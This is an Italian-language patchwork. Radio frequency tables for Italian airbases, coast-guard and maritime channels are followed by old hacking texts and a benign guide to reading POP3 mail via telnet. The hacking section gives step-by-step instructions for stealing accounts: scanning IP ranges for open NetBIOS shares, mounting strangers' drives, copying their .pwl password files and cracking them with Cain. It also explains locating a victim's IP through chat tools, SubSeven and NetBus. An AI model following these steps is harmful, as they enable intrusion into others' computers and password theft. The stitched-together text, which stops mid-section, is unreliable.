Brindisi	BRD	113.200
Cagliari	CAG	113.400
Campagnano	CMP	111.400
Caraffa	CDC	117.300
Carbonara	CAR	115.100
Catania	CAT	112.100
Chioggia	CHI	114.100
Crotone	CRO	110.600
Elba	ELB	114.700
Firenze	FRZ	115.200
Foggia	FOG	114.200
Genova	GEN	112.800
Lamezia	LMT	112 500
Lampedusa	LPD	108.600
Lalina	LAT	111.200
Linate	LIN	116.000
Malpensa	MAL	111.200
Napoli	NPL	115.800
Olbia	SME	113.900
Orio al Serio	ORI	112.600
Ostia	OST	114.900
Palermo	PAL	112.300
Pantelleria	PAN	116.100
Peretola	PRT	112.500
Perugia	PRU	109.400
Pescara	PES	115.900
Pisa	PIS	112.100
Ponza	PNZ	114.600
Punta Raisi	PRS	113.000
Reggio Calabria	RCA	111.000
Rimini	RIM	116.200
Ronchi dei Legionari	RON	114.200
Saronno	SRN	113.700
Sorrento	SOR	112.200
Tarquinia	TAQ	111.800
Teano	TEA	112.900
Torino	TOP	114.500
Trapani	TRP	108.800
Trazzo	TZO	111.800
Verona	VIL	115.800
Vicenza	VIC	113.400
Vieste	VIE	112.600
Voghera	VOG	115.500

AERONAUTICA MILITARE

BANDA 225.000 - 399.950 MHz

VENGONO RIPORTATE LE FREQUENZE ADIBITE AL TRAFFICO INTERNAZIONALE **“NATO”**

I PRINCIPALI AEROPORTI ITALIANI CON TRAFFICO MILITARE VHF-UHF

FREQUENZE IN USO ALL’AERONAUTICA LEGGERA DELL’ESERCITO

LIMITI DI BANDA PER SERVIZI OPERATIVI DI TERRA

SONO INOLTRE INSERITE FREQUENZE IN USO ALLA MARINA MILITARE

CON SERVIZI ASSEGNATI IN BANDA 225 399 950 MHz

CON L'ESCLUSIONE DEI CANALI DI LAVORO E SERVIZI IN ESSI ATTUATI

AEROPORTI

AEROPORTI	BANDA	FREQUENZE
Tutti Traffico “Nato"	UHF	243.000 243400 244600 252.500 252.600 253800 257.800 256.450 259.150 259400 262.600 273900 277200 285.350 292.100 299600 300.800 316.350 317500 340.300 344.000 344.350 360.400 362.300 364.200 383.550 385.400
Aviano	UHF	243.000 252.525 257.750 257800 259.050 260.925 300.600 312.650 319.400 337.825 338.825 344.000 360.775 362.300 376.550 379.425 385.400 386.675
	VHF	120.125 122.100 123.300 129.300134.100 138.150 138.350 140.425 142.050
Bari	VHF	122.100 123.300 130.650 141.300
Brindisi	UHF	243.000 257.800 259.000 261.000 312.550 338.750 344.000 362.150 358.600 362.300 369.950 376 800 383.200 385.400 365.400
	VHF	122.100 122.400 123.300 129.775 142.350
Cagliari	VHF	122.100 123.300 142.400
Cameri	UHF	243.000 257.800 261350 300.250 300.950 309.050 340150 344.000 364.200 370.100 385.400
	VHF	121.700 122.100 123.300 142.300
Catania	UHF	243.000 257.800 256 450 344.000 344 300 362.300 364.200 381.200 365.400
Cervia	UHF	243.000 257.800 258.450 258.950 292.750 312.850 336.000 338.260 338.900 344.000 362.300 364.200 379.750 385.400
Decimomannu	UHF	243.000 257.600 259.850 299.400 315.550 344.000 351.000 358.600 362.300 385.400
	VHF	122.100 123.300 140.400 142.400
Foggia	UHF	243.000 257.800 258.450 259.800 209 400 337.600 344.000 360 550 362.300 364.200 381.200 385.400
Forlì	UHF	243.000 257 800 338.650 344.000 362.300 379.650 385.400
Ghedi	UHF	243.000 257.800 292.700 311.350 338.000 362.000 344.000 362.300 385.400 386.500
	VHF	122.100 123.300 123.500
Gioia del Colle	UHF	243.000 257.800 258.450 338.000 340.000 344.000 362.300 364.200 380.050 383.450 385.400 386.650

	VHF	122.100 122.450 123.300 130.650 141.300
Grazzanise	UHF	243.000 257.800 258.450 338.000 344.000 358.600 362.000 362.300 364.200 369.900 385.400
	VHF	122.100 123.300 139.850 140.400
Guidonia	VHF	122.100 123.300 142.350
Istrana	UHF	243.000 257.800 284.850 337.950 338.550 340.300 348.850 356.800 364.200 388.000
	VHF	118.350 121.725 122.100 123.300 123.800
Latina	VHF	122.100 123.300 142.400
Milano	VHF	122.100 122.400 123.300 129.820
Napoli	UHF	243.000 257.800 340.200 341.000 344.000 358.550 362.300 377.800 379.000 383.800 384.250 385.400
Padova	UHF	235.150 243.000 252.450 257.800 291.150 344.700 373.450 379.600 384.200
	VHF	122.100 123.175 123.300 129.375
Pisa	UHF	243.000 257.800 258.450 338.550 344.000 344.600 362.000 362.300 384.200 385.400
	VHF	122.100 123.300 138.250 139.400 146.500
Pratica di Mare	VHF	122.100 123.300 139.450
Rimini	VHF	121.600 122.100 123.300
Rivolto	UHF	243.000 257.800 261 000 307.800 315.700
	VHF	122.100 123.300 139.250 142.750
Roma	UHF	232.600 243.000 258.200 257.800 296.650 314.350 340.300 344.450 362.300 379.400
	VHF	122.100 123.225 123.300
San Damiano	VHF	122.100 123.300 123.920 129.820 132.250 134.250
Sigonella	VHF	118.050 118.200 122.100 123.300
Trapani	VHF	122.100 123.300 141.150

SERVIZI UHF-VHF VARI

Nato — USAF Awacs”	UHF	233.600
Comp. Grp. Elicotteri Sarzana	UHF	242.300
SAR Nato	UHF	252.800
Italia Navy (Maritele Roma)	UHF	253.950
USAF (Usareur) Vicenza	UHF	255.500
Nato — USAF ‘Awacs	UHF	259.300
Nato	UHF	264.400
Monte Venda	UHF	265.200
Sarzana Luni (Maristaeli)	UHF	267.600
Nato — USAF Awacs’	UHF	270.050
Aeronautica Leggera Esercito	UHF	277.200
Marina Militare Italia	UHF	278.300
Marina Militare Italia	UHF	279.400
Padova SAR (da verificare)	UHF	282.200
Coord Capitanerie Porto SAR	UHF	282.800
Monte Venda	UHF	282.800
Monte Corna	UHF	290.700
Monte Limbara	UHF	290.700
Monte Nardello	UHF	290.700
Marina Militare Italia	UHF	291.500
Marina Militare Italia	UHF	294.950
Pattuglia Acrobatica Italia	UHF	307.800
Nato — USAF Awacs’	UHF	311.000
Coord. Aviolanci Paracad. Pisa	UHF	337.700
Coord. Tecnici Telecomunicaz.	UHF	345.675
Monte Venda	UHF	355.600

Aeronautica Leggera Esercito	UHF	357.150
AMI nazionale	VHF	130.450
USAF (Località imprecisata)	VHF	136.200
Località imprecisata	VHF	136.500
Località imprecisata	VHF	137.000
AMI nord-est (località non prec.)	VHF	138.150
AMI (località imprecisata)	VHF	138.500
AMI (test motori)	VHF	138.950
Località imprecisata	VHF	139.100
USAF (Usaraur) Vicenza	VHF	139.600
USAF (regioni nord-est)	VHF	140.250
Località imprecisata nord-est	VHF	141.900
Località imprecisata	VHF	142.450
AMI	VHF	142.500
USAF Air-to-air	VHF	142.725
USAF Air.to-air	VHF	142.825
USAF (Usareur) Vicenza	VHF	174.000

AERONAUTICA LEGGERA ESERCITO

Casarsa	VHF	37.300
Italia	VHF	34.550
USA	VHF	34.550
Italia (vigilanza aeroporti)	VHF	37.000
Italia soccorso esercito	VHF	40.050
Freq. Internazionale di guardia	VHF	40.500
USA	VHF	42.300
USA Vicenza	VHF	43.850
Italia	VHF	49.000
Italia	VHF	50.000
Italia (da verificare)	VHF	50.100
Italia (da verificare)	VHF	50.200
Italia elicotteri	VHF	51.000
USA elicotteri (regione Veneto)	VHF	75.100

SERVIZI DI TERRA

I servizi sono operativi negli aeroporti militari

417 - 419 MHz (limiti di banda assegnati)

MARINA CIVILE

BANDA 156.000 - 162.025 MHz

FREQUENZE ADIBITE A – EMERGENZA SICUREZZA SOCCORSO IN MARE

156.300 (ch. 6) - Per il coordinamento di operazioni nella ricerca o salvataggio di natanti.
156.525 (ch. 70) - Riservato per chiamate di soccorso ed emergenza con emissioni (Digital Selective Calling) (chiamata sellettiva digitale) per mezzi navali provvisti di adatti terminali.
156.650 (ch. 13) - Per comunicazioni di messaggi inerenti la sicurezza della navigazione tra natanti.
156.800 (ch. 16) - Per chiamate generali di emergenze e soccorso (Internazionale).

FREQUENZA NAZIONALE PER TRASMISSIONE
BOLLETTINO METEOMAR - OLTRE AD ALTRI AVVISI METEO

156.425 (ch.68)

STAZIONI VHF

SEDI	CANALI	FREQUENZE	ORARIO DI ASCOLTO
CAPITANERIE DI PORTO (COMPAMARE)			
Imperia	11	156550	08/24
Savona	13	156.650	08/24
Genova	11	156.550	continuo
La Spezia	11	156.550	08/24
Marina di Carrara	15	156.750	08/24
Viareggio	11	156.550	08/24
	18	161.500	08/24
Livorno	14	156.700	08/24
Portoferraio	11	156.550	08/24
Civitavecchia	11	156.550	08/20
Roma	14	156.700	08/20
Gaeta	11	156.550	08/20
Napoli	11	156.550	08/20
Torre deI Greco	14	156.700	08/20
Castellammare di Stabia	11	156.550	08/20
Salerno	11	156.550	08/20
Vibo Valentia Marina	11	156.550	08/20
Reggio Calabria	15	156.750	08/20
Crotone	11	156.550	08/20
Taranto	11	156.550	08/20
Gallipoli	11	156.550	08/20
Brindisi	11	156.550	08/20
Bari	11	156.550	08/20
Molfetta	14	156.700	08/20
Manfredonia	14	155.700	06/20
Pescara	11	156.550	06:30/23:30
San Benedetto del Tronto	11	156.550	08/20
Ancona	11	156.550	08/20
Rimini	11	156.550	08/24
Ravenna	08	156.400	08/24

Chioggia	15	156.750	08/24
Venezia San Marco	11	156.550	08/20
Venezia (Tronchetto)	11	156.550	08/20
Monfalcone	11	156.550	08/20
Trieste	11	156.550	08/20
Cagliari	11	158.560	08/20
Olbia	14	156.700	08/20
Porto Torres	11	158.550	08/20
Messina	14	156.700	continuo
Catania	11	156.550	08/20
Augusta	11	156.550	06/20
Siracusa	11	156.550	06/20
Porto Empedocle	11	156.550	08/20
Mazara del Vallo	02	160.700	08/20
Trapani	11	156.550	08/20
Palermo	11	156.550	08/20

UFFICI CIRCONDARIALI MARITTIMI (CIRCOMARE)

Alghero	11	156.550	08/20
Anzio	11	156.550	08/20
Arbatax	11	156.550	08/20
Barletta	14	156.700	08/20
Carloforte	11	156.550	continuo
Gela	15	156.750	08/20
Grado	15	156.750	08/20
Ischia	15	156.750	06/20
L.a Maddalena	11	150.550	08/20
Licata	14	156.700	08/20
Lipari	11	156 550	08/20
Marsala	14	156.700	08/20
Milazzo	11	156.550	08/20
Oristano	12	156.000	08/20
Ortona	12	155.600	08/20
Pesaro	11	156.550	06/24
Piombino	12	156.600	08/20
Porto Santo Stetano	14	156.700	08/24
Pozzuoli	15	156.750	08/20
Procida	11	156.550	08/20
Riposto	14	156.700	08/20
San Ramo	14	156.700	06/20
Santa Margherita Ligure	11	156.550	08/20
Sant'Antioco	14	156.700	08/20
Termini Imerese	14	156.700	08/20
Temoli	12	156.600	08/20
Torre Annunziata	15	156.750	08/20

UFFICI MARITTIMI LOCALI (LOCAMARE)

Alassio	16	156.800	con dìsponbile
Amalfi	14	155.700	08/20
Camogli	11	150.550	08/14
Capri	14	156.700	08/20
Cattolica	11	156.550	06/20
Cesenatico	16	156.800	08/20
Civitanova Marche	11	156.550	06/20
Fano	11	156.550	08/20
Formia	16	150.800	08/20
Giulianova	14	156.700	08/20
Lampedusa	14	156.700	08/20

Moladi Bari	16	150.800	08/20
Monopoli	14	156.700	08/20
Pantelleria	14	156700	08/20
Ponza	14	156.700	08/20
Portici	11	156.550	08/20
Porto Garibaldi	14	156.700	08/20
Portoscuso	16	156.800	08/20
Pozzallo	16	156.800	08/20
Rodi Garganico	14	156.700	08/20
Sciacca	14	156.700	08/20
Senigallia	11	156.550	08/24
Sorrento	15	156.750	08/20
Terracina	14	156.700	08/20
Trani	06-09	156.300 -156.450	08/20
Vasto	12	156.600	08/20
Villa San Giovanni	15	156.750	08/20

DELEGAZIONI DI SPIAGGIA (DELEMARE)

Bagnara Calabra	16	156.800	08/20
Bosa	14	156.700	08/20
Castellammare del Golfo	16	156.800	08/14
Castel Volturno	16	156.800	08/14
Castiglione della Pescaia	16	156.800	non disponibile
Catanzaro Marina	14	158.700	08/20
Cervia	14	156.700	08/20
Falconara	11	156.550	08/20
Favignana	11	156.550	08/14
Forte dei Marmi	16	156.800	08/20
Gabicce	11	156.550	08/20
Giovinazzo	16	156.800	non disponibile
Goro	15	156.800	08/14
Jesolo	16	156.800	non disponibile
Isola del Giglio	==	======	non disponibile
Ladispoli	16	156.800	non disponibile
Lesina	16	156.800	non disponibile
Lignano Sabbiedoro	16	156.800	08/20
Margherita di Savoia	16	156.800	08/20
Numana	11	156.550	08/20
Otranto	11	156.550	08/20
Paola	14	156.700	08/20
Porto Cervo	14	156.700	08/20
Porto Ercole	12	156.600	08/20
Porto Levante	11	156.550	08/20
Porto Palo	16	156.800	08/14
Porto San Giorgio	16	156.800	08/20
Riccione	16	156.800	08/20
RioMartino	11	156.550	08/20
Santa Marinella	16	156.800	08/20
Sarroch	15	156.750	07/20
Terrasini	16	156.800	08/20
Tricase	14	156.700	08/14
Vieste	14	156.700	08/20

METEOMAR REGIONALI

IN RADIOTELEFONIA VHF

(diffusione in onde metriche - gli orari di trasmissione sono UTC)

Tutte le stazioni effettuano trasmissioni di: “Avvisi ai naviganti” - “Avvisi di tempesta” - “Meteomar” - con diffusione in lingue italiane e inglese.
Le trasmissioni degli “Avvisi ai naviganti” e del bollettino “Meteomar” sono precedute da un preavviso effettuato da tutte le stazioni sulla frequenza 156.800 (ch.16).

NOMINATIVI STAZIONI	CANALI	FREQUENZE	ORARI DI DIFFUSIONE			
Ancona	25	161.850	01.35	07.35	13.35	19.35
Augusta	26	161.900	01.50	07.50	13.50	19.50
Bari	26	161.900	01.35	07.35	13.35	19.35
	27	161.950				
Cagliari	25	181.850	01.35	07.35	13.35	19.35
	26	161.900				
	27	161.950				
Civitavecchia	27	161.950	01 35	07.35	13.35	19.35
Crotone	25	161.850	01.50	07.50	13.50	19.50
Genova	25	161.850	01.35	07.30	13.35	19.35
	27	161.950				
Lampedusa	26	161.900	01.50	07.50	13.50	19.50
Livorno	26	161.900	01.35	07.35	13.35	19.35
	64	161.825				
Marzara del Vallo	25	161.850	01.50	07.50	13.50	19.50
	26	161.900				
Messina	25	161.850	01.35	07.35	13.35	19.35
Napoli	25	161.850	01.35	07.35	13.35	19.35
	27	161.950				
Palermo .	27	161.960	01.35	07.35	13.35	19.35
Pescara	26	161.900	07.50	13.50		
PortoCervo	25	161.850	01.50	07.50	13.50	19.50
	26	161.900				
	28	162.000				
PortoTorres	26	161.900	01.50	07.50	13.50	19.50
Ravenna	27	161.950	01 50	07.50	13.50	19.50
Roma	25	161.850	01.35	07.35	13.35	19.35
Taranto	26	161.900	01.35	07.35	13.35	19.35
Trapani	25	161.850	01.50	07.50	13.50	19.50
Trieste	25	161.850	01.35	07.35	13.35	19.35
	88	162.025				
Venezia	26	161.900	01.50	07.50	1350	19.50
	27	161.950				

CORPORAZIONI DI PILOTI

PORTI MARITTIMI MERCANTILI

Canali adibiti alle Capitanerie di Porto per il controllo del traffico portuale
(ch.18) 161.500 (ch19) 161.550 (ch20) 161.600 (ch.21) 161.650
(ch.22) 161.700 (ch.79) 161.575 (ch.80) 161.625

NOMINATIVI STAZIONI	CANALI	FREQ. - PILOTI	FREQ.- AVVISATORE
Genova	12 - 10	156.600	156.500
	14	156.700	
Imperia	11	156.550	
	12	156.600	
Savona	13	156.650	
Quiliano - Vado Ligure	13	156.650	
Livorno	12 -10	156.600	156.500
Piombino	13	156.650	
Portoferraio	12	156.600	
Porto Santo Stefano	12	156.600	
Viareggio	12	156.600	
	13	156.650	
Anzio	12	156.600	
	13	156.650	
	14	156.700	
Fiumicino	12	156.600	
Gaeta	12	156.600	
Napoli	12	156.600	
Bagnoli	09	156.450	
	12	156.600	
Castellammare di Stabia	11	156.550	
Torre Annunziata	15	156.750	
Salerno	14	156.700	
Gioia Tauro	09	156.450	
Vibo Marina	14	156.700	
Palermo	11	156.550	
	12	156.600	
Termini merese	12	156.600	
Milazzo	14	156.700	
Trapani	12	156.600	
Marsala	12	156.600	
	14	156.700	
Marzara del Vallo	11	156.550	
Licata	12	156.600	
Porto Empedocle	12	156.600	
Gela	12	156.600	
Siracusa	14	156.700	
Augusta	12	156.600	
Catania	12	156.600	
Messina	12	156.600	(per transito stretto verso Sud)
Raggio Calabria	12	156.600	(per transito stretto verso Nord)
Crotone	14	156.700	
Taranto	12	156.600	
Gallipoli	11	156550	
Brindisi	12	156.600	
Bari	12	156.600	

Barletta	14	156.700	
Molfetta	12	156.600	
Monopoli	12	156.600	
Manfredonia	12	156.600	
Pescara	12	156.600	
San Benedetto del Tronto	11	156.550	
Ancona	12	156.600	
Ravenna	12 -09	156.600	156.450
Venezia	13	156.650	
Chioggia	14	156.700	
Portogruaro	12	156.600	
Monfalcone	14	156.700	
Trieste	14	156.700	
Olbia	14	156.700	
Arbatax	11	156.550	
Cagliari	12	156.600	
Portofoxi	09	156.450	
Portovesme	12	156.600	
Sant'Antioco	12	156.600	
Oristano	12	156.600	
Porto Torres	12	156.600	

MARINA MILITARE

Vengono riportati tre gruppi di frequenze utilizzati nell'ambito militare
con esclusione dei numeri dei canali, delle località portuali operative, nonchè del servizio in asse attuato.

L'utilizzo di detti canali da parte dei mezzi navali militari avviene esclusivamente previa chiamata sul

Ch. 16 (156.800).

ALFA	CHARLIE	PORTUALI
157.425	155.500	156.375
157.450	155.550	156.625
157.475	155.650	
157.500	155.750	
157.525	155.850	
157.550	155.900	
157.575	155.925	
157.600	155.950	
157.625	155.975	
157.650	156.000	

-= COME TROVARE I CODICI IP =-

by

LiQuiD

\/

Premessa:

Un indirizzo IP è formato da quattro campi di numeri da tre cifre, questo è l'esempio del formato xxx.xxx.xxx.xxx; nei quattro campi, i numeri possono variare da 0 a 255, grazie ad esso è possibile individuare univocamente un computer connesso alla rete.

Cominciamo...

I modi per conoscere l'IP di qualcuno sono diversi, e possiamo farlo:

1) TRAMITE UN SITO
Si possono creare siti che danno la possibilità di catturare l'ip dell'utente che sta navigando, quest'IP può automaticamente essere spedita ad un database e chi possiede l'accesso, tramite la vostra IP potrà ottenere anche informazioni personali sul vostro conto, quindi per la navigazione è comodo usare un server proxy che nasconde sotto il suo, il vostro IP.

2) TRAMITE CHAT
Se si è connessi in chat, qualsiasi azione compiamo come mandare un file o un messaggio, rende visibile il nostro IP al programma per chattare. Non tutte le chat rendono visibile tutto l'indirizzo IP alcune lo occultano e lo presentano in questo modo es. 212.213.175.XXX in questa maniera non è possibile attaccare in maniera diretta la nostra vittima, ma dovremmo effettuare uno Scanport per vedere es. da 212.213.175.0 a 212.213.175.255 quanti computer sono connessi in quel momento e cercare tra questi l'IP della nostra vittima. Nelle chat come IRC e ICQ il problema non si pone perchè possiamo individuare l'IP intero di chi vogliamo. Con IRC basta digitare nella finestra "Status" questo comando /dns nomevittima e automaticamente ci apparirà l'IP. In ICQ invece l'IP può anche essere occultata ma con un programma di nome ICQ IP SNIFFER (clicca per il download) è possibile trovarla. Esiste ancora un altro metodo che sfrutta delle applicazioni già presenti nel windows, quindi se sta avvenendo uno scambio di informazioni tra il nostro pc e un altro, il sistema per permettere il trasferimento dei dati apre delle porte a nostra insaputa, che possiamo però visualizzare digitando al prompt di MS-DOS questo comando netstat -a -n ciò che apparirà saranno gli indirizzi IP con cui il nostro sistema sta comunicando e le relative porte di accesso, l'IP dell'utente che vogliamo individuare di solito è connesso ad una porta superiore alla 1025. Un metodo per trovare il nostro indirizzo IP è digitando "Winipcfg" in "Esegui" nel menu "Avvio".

_-

COME RUBARE UN ACCOUNT

Ciao a tutti!Quello che vi sto' x trattare è un argomento complesso

ma se avete qualche domanda potete contattarmi in irc(server:irc.jnet.it chan #hackzxtreme Nick=Max)

Cominciamo!quello di cui avete bisogno sono 2 cose:un programma di nome cain(che decripta i file pwl cioe'

i file contenenti le pass di un sistema di tipo windows)e un programma che scanna i computer alla ricerca di

quelli con il netbios attivo(il netbios è una backdoor cioe' una porta aperta del vostro computer che vi permette

di penetrare in un sistema accedendo al disco che il sistema condivide(C,D,A,ecc) e che si chiama legion.

dopo che avete i prog settate alcune cose prima di cominciare e cioe':

1)aprite il apnnelo di controllo,connessione remota è cliccate con il tasto destro sulla

connessione che usate selezionando proprieta'.Dopodiche' selezionate protezione e cliccate su

accedi alla rete.Fatto questo salvate e chiudete il tutto.

2)andate in pannello di controllo e su reti dopodiche' cliccate aggiungi e cliccate client,selezionate client per reti

microsoft e aggiungetelo.riavviate il computer.

3)a questo punto aprite il legion(questi prog li trovate su www.packetstorm.securify.com)e scrivete

un range di ip che volete scannare(esempio da 122.12.1.1 a 122.12.64.255 poiche' potete scannare fino a 64 sottoreti x

ogni ip)dopodiche' troverete una lista di computer netbiossati con i quali avrete accesso fisico al disco.X entrare nel

sistema non dovete far altro che copiare quello che trovate con il legion(esempio \\112.12.24.26\C)e scriverlo andando in

risorse del computer e cliccando su strumenti e connetti unita' di rete e scrivendo cio' che avete trovato con il lesion

potete trovare dei computer con le pass o che non vi diano accesso ma la maggior parte sono condivisibili a tutti gli effetti ^_^)

una volta entrati vi verra' mostrato l'hd del computer e voi dovrete andare su start-esegui

e scrivere command.arrivati sulla shell dos scrivete F:(o G: o H: a seconda della lettera assaegnata al computer)

poi scrivete cd windows e successivamente scrivete copy *.pwl C:(questo comando copiera' tutti i file pwl sul vostro hard disk)

dopodiche' prendete il cain(se avete l'antivirus vi dira' che è un virus ma voi andate tranquilli non vi infetta ^_^

e apritelo.Andate sulla chiave(icona grafica e selezionatela, dopodiche' andate su file,selezionate add to list e selezionate il file)

dopodiche' selezionate il file e cliccando il il tasto destro selezionate "try another username" e mettetegli come user

il nome del file pwl che avete preso.Nella maggior parte dei casi troverete le pass e bastera' cliccare con il tasto destro sul file

scegliere "show cached pass" x trovarle,senno' dovrete usare un prog x i file alternativo(tipo pwlhack) x craccare le pass.

Questo metodo serve x trovare qualsiasi pass di un qualsiasi account(libero,galactica,tin,ecc).

Raccomando a tutti di limitarvi a scaricare le pass o copiare quel che si vuole ma non a cancellare i file del computer(a meno che non è il vostro

peggior nemico ^_^)

Come verificare la propria posta elettronica con Telnet

Con questo articolo impareremo a verificare la nostra posta elettronica collegandoci al nostro server POP 3 (il server che contiene le nostre e-mail) attraverso Telnet.
Telnet è un programma fornito con qualsiasi versione di windows e permette di collegarsi ad un qualsiasi computer e lavorare proprio come se fossimo sulla macchina a cui siamo collegati.

Questa tecnica è particolarmente utile per eliminare email con attachment indesiderati voluminosi, senza doverli scaricare. Può essere inoltre un ottimo metodo per verificare le inefficenze del server o lo spazio ancora disponibile.
Per aprire Telnet è sufficiente cliccare sul menù Avvio (Start per le versioni più recenti di Windows) e scegliere la voce Esegui. A questo punto scriviamo *telnet* e premiamo OK. Si aprirà questa finestra:

A questo punto dobbiamo collegarci al nostro server di posta elettronica alla porta 110. Scegliamo quindi dal menù Connetti la voce Sistema Remoto e inseriamo i dati che ci vengono richiesti:

Come si può notare dall'immagine, per questo esempio sto usando un'account di posta fornito da Libero, ma questo sistema per il controllo della posta funziona con tutti i provider che hanno un server POP 3 per la gestione delle e-mail.
Adesso, cliccando su Connetti ci apparirà il messaggio di benvenuto del server:

```
Telnet - popmail.libero.it
Connetti   Modifica   Terminale   ?
+OK POP3 server ready (NPlex 2.1.115) <65904b0.974046641000@pop3.libero.it>
```

Ora ci dobbiamo far riconoscere, dobbiamo quindi inviare il nostro user name e la nostra password. Per fare ciò dobbiamo utilizzare la chiave **user nostrousername** e premiamo INVIO. Il server ci risponderà con la dicitura +OK. A questo punto dobbiamo anche inviare la nostra password con la parola chiave **pass nostrapassword**. Se tutto è andato bene ci apparirà questa schermata:

```
Telnet - popmail.libero.it
Connetti   Modifica   Terminale   ?
+OK POP3 server ready (NPlex 2.1.115) <857bfbe.974046742000@pop2.libero.it>
+OK
+OK
```

Fate attenzione a scrivere bene sia user name che password perchè Telnet non visualiza ciò che noi digitiamo, ma solo le risposte inviate dal server di posta.
Una volta che ci siamo collegati, possiamo gestire la nostra posta attraverso i seguenti comandi:

- "**list**" vi consente di vedere la lista dei messaggi presenti nel server;
- "**retr n° messaggio**" vi consente di visualizzare un messaggio. Attenzione a non usarlo con messaggi di dimensioni elevate;
- "**top n° messaggio**" vi consente di visualizzare l'intestazione del messaggio, mostrando il mittente e l'oggetto.
- "**dele n° messaggio**" consente la cancellazione di un messaggio. I messaggi marcati con questo comando verranno cancellati solo dopo il comando quit;
- "**rset**" per ripristinare eventuali danni causati dal comando precedente. Vi consente di recuperare i messaggi marcati per la cancellazione

"**quit**" vi consente di chiudere il collegamento con il server di posta, salvando gli eventuali cambiamenti da voi effettuati

---

TROVARE L’IP DI UN PC CONNESSO A INTERNET

Trovare l'indirizzo IP di un compter connesso ad Internet

I metodi per ottenere il vostro indirizzo IP sono molti, i più comuni sono due:

Tramite un programma per chattare (ad esempio con IRC), quando inviate una immagine, un programma o qualunque file rendete visibile il vosto indirizzo IP direttamente dal programma per chattare. Ad esempio con IRC basta cliccare con il bottone destro del mouse sul nome della persona a cui si vogliono fare le cattiverie ed andare sulla voce get URL e sara fornito l'IP di quella persona (il formato degli indirizzi IP è xxx.xxx.xxx.xxx dove ogni xxx è un numero compreso tra 0 e 255. Con ICQ saper il vostro IP è facile basta vedere su MORE INFORMATION di un utente, nel caso abbiate occultato il vostro IP esiste un programma ad hoc per ICQ detto ICQ IP SNIFFER (disponibile, ringrazio Valentine) che mostra comunque il vostro indirizzo IP, altro programma che mostra l'IP di un utente connesso ad ICQ è SubSeven (disponibile) il quale sfrutta anche il server del netbus 1,7.

Se volete colpire un utente del suo stesso provider basta che vi colleghiate ad internet più volte e ad ogni connessione lanciate il programma fornito con Windows 95/98 chiamato Winipcfg.exe, il quale fornirà lindirizzo IP del computer dell'hacker connesso ad internet, l'hacker a questo punto si segna i campi fissi che assegna il server, in genere sono i primi tre (o i primi due se il provider è molto grande) in questo modo gli basta fare una scansione dei vari indirizzi inserendo consecutivamente i campi non fissi fino a trovare un computer infettato (il Netbus fa la scansione automatica inserendogli la gamma di indirizzi da scandire).

Altro modo per ottenere l'IP è creando un sito un po' malvagio che cattura i vostri dati; in genere catturare i vostri dati serve solo per le statistiche dei visitatori, un esempio di ciò è nella mia pagina di ingresso del mio sito dove i vostri dati vendono trattati solo a scopo informativo, per vedere le satistiche clicca sull'icona e potrai vedere anche il tuo indirizzo IP).

Alcune volte gli hackers vedono gli indirizzi IP degli utenti collegati ad un provider e vedono quali campi degli indirizzi IP sono univoci per tutte le persone collegate ad un certo provider (ad esempio IOL ha come campi univoci 212.52.6x.xxx 212.52.7x.xxx, oppure TIN 212.216.xxx.xxx, si possono riconoscere facilmente cliccando sull'icona descritto al punto precedente); in questo modo se l'hacker conosce con quale provider vi collegate dovrà fare una scansione di pochi indirizzi IP per ritrovarvi (Netbus fa la scansione automatica degli indirizzi IP), si deve fare una scansione ogni volta che il computer infetto si ricollega ad internet in quanto ad ogni connessione ad internet al computer infetto viene fornito un indirizzo IP diverso.

Altro modo (per hackers esperti) è quello di utilizzare programmi per la gestione avanzata degli indirizzi IP come Netlab (disponibile) il quale riesce ad individuare anche la lista degli utenti collegati ad un provider, non basta, con questo programma un hackers può dirvi anche il vostro indirizzo di casa.

Altri programmi per intercettare una persona sono forniti gratuitamente con il Dos (e quindi anche con il Windows) e sono tracert e netstat.

Esistono comunque molti altri metodiche sfruttano bug (errori) di sistema dei server, bug dei firewall o programmi specifici, esiste un sito che vi spiega come fare.

Tramite il vostro indirizzo IP chiunque può sapere con quale provider vi collegate e addirittura la posizione geografica del server con cui siete collegati ad internet in quel momento, un programma in grado di fare ciò è Visual route (disponibile).

l'indirizzo IP cosa è? come posso fregarlo?

Il migliore dei modi per farvi sgamare mentre fate le vostre caxxate è quello di farvi fregare l'IP che difficilmente nascondibile.Ma c'è anche il rovescio della medaglia potete ciulare l'ip a qualcunoè utilizzarlo per fare tante belle cosuccie!IO vi consiglio sempre di non farle poi la scelta è vostra!!VI RICORDO COMUNQUE CHE PENETRARE NEL PC DI ALTRI é ILLEGALE E PER TANTO PUNIBILE!!

Cos'è un IP

Un indirizzo IP è un indirizzo che identifica univocamente un computer connesso alla rete. I metodi per scoprire l'IP di un computer sono molti, i più comuni sono questi:

COME SCOVARE L'IP DI UN ALTRO UTENTE

Metodo Chat

Tramite un programma per chattare (ad esempio con IRC o ICQ), quando inviate una immagine, un programma, un messaggio o altro rendete visibile il vosto indirizzo IP direttamente dal programma per chattare. Con IRC basta cliccare con il bottone destro del mouse sul nome della persona a cui si vogliono fare le cattiverie ed andare sulla voce "get URL" e sara fornito l'IP di quella persona (il formato degli indirizzi IP è xxx.xxx.xxx.xxx dove ogni xxx è un numero compreso tra 0 e 255). Con ICQ saper il vostro IP è facile basta vedere su "User's details" di un utente, nel caso abbia occultato il suo IP esiste un programma ad hoc per ICQ detto ICQ IP SNIFFER che mostra comunque il suo indirizzo IP. Altro programma che mostra l'IP di un utente connesso ad ICQ è SubSeven il quale sfrutta anche il server del netbus 1.7

Metodo SS (Site Sniffer)

Altro modo per ottenere l'IP è creando un sito che cattura i vostri dati; in genere catturare i vostri dati serve solo per le statistiche dei visitatori del sito. Alcune volte gli hackers vedono gli indirizzi IP degli utenti collegati ad un provider e vedono quali campi degli indirizzi IP sono univoci per tutte le persone collegate (ad esempio IOL ha come campi univoci 212.52.6x.xxx 212.52.7x.xxx, oppure TIN 212.216.xxx.xxx); in questo modo se l'hacker conosce con quale provider vi collegate dovrà fare una scansione di pochi indirizzi IP per ritrovarvi (Netbus fa la scansione automatica degli indirizzi IP). E' indispensabile fare una scansione ogni volta che il computer infetto si ricollega ad internet in quanto ad ogni connessione viene assegnato un indirizzo diverso.

Metodo Expert

